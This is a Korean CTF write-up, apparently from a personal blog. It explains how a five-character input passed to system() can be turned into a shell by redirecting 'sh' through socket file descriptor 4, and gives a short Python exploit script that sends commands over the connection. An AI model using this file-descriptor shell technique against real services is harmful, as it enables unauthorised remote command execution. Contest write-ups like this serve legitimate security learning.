익스플로잇이 엄청 간단하다.


5글자를 받아와서 system에서 실행시켜주는 그런 문제인데, 5글자밖에 되지 않으니 파일 디스크립터를 이용하여 원하는 명령을 입력하도록 해야 한다고 생각했다.

리눅스에서 소켓의 fd는 기본적으로 4이므로 &4는 소켓의 fd를 의미한다.

따라서 sh를 실행시키고, 인자는 &4에서 받도록 < 를 이용해 넘겨준다.

sh에서 실행된 대부분의 명령은 모두 stdin으로 출력되므로 그것도 마찬가지로 &4로 받아오기 위해 뒤에 >&4를 붙여서 넘겨주면 쉘을 딴 것과 같은 효과를 낼 수 있다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from telnetlib import *
from time import *
 
HOST = '192.168.136.213'
PORT = 31339
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
while True:
    sock.send('sh<&4')
    data = raw_input('$ ')
    sock.send(data+">&4\n")
    sleep(0.1)
    print sock.recv(1024)
cs


'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,